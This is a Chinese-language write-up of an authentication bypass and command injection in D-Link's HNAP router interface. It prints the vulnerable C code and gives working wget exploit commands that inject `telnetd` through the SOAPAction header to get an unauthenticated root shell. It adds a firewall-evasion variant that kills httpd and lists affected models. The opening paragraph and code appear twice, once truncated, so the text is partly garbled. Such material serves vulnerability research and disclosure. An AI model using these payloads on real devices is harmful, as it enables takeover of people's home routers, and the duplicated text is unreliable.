HNAP(Home Network Administration Protocol,家庭网络管理协议)是一种基于SOAP(Simple Object Access Protocol,简单对象管理协议)的协议,和UPnP很像,通常被D-Link的”EZ”设置程序用来初始化设置路由器。 存在问题代码: ``` /* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '\0'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/",...
HNAP(Home Network Administration Protocol,家庭网络管理协议)是一种基于SOAP(Simple Object Access Protocol,简单对象管理协议)的协议,和UPnP很像,通常被D-Link的”EZ”设置程序用来初始化设置路由器。 存在问题代码: ``` /* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '\0'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command); ``` 这里可以得到两个要点: 1. 如果在SOAPaction头部包含字符串http://purenetworks.com/HNAP1/GetDeviceSettings的话,就没有了认证检测; 2. 被传递到sprintf(最终是system)的字符串是SOAPAction头部最后一个前斜线后面的所有内容。 因此,我们可以很容易地格式化一个SOAPAction头部来同时满足没有认证检测,同时允许我们传递任意字符串给system: SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`" 这个部分–http://purenetworks.com/HNAP1/GetDeviceSettings满足率没有认证检测,同时reboot字符串被传递给了system: ``system("sh /var/run/`reboot`.sh > /dev/console");`` 如果把reboot替换为telnetd,这将会使得远程的服务器提供一个未经认证的root shell: ``` $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # ``` 如果远程管理功能被启用的话,HNAP请求就可以通过WAN使远程漏洞利用成为现实。当然,路由器的防火墙也许会阻止那些从WAN过来的telnet连接;一种简单的解决方式就是关掉HTTP服务,把telnet服务植入到HTTP所使用的端口上: ``` $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # ``` 存在漏洞设备 ``` DAP-1522 revB DAP-1650 revB DIR-880L DIR-865L DIR-860L revA DIR-860L revB DIR-815 revB DIR-300 revB DIR-600 revB DIR-645 TEW-751DR TEW-733GR ```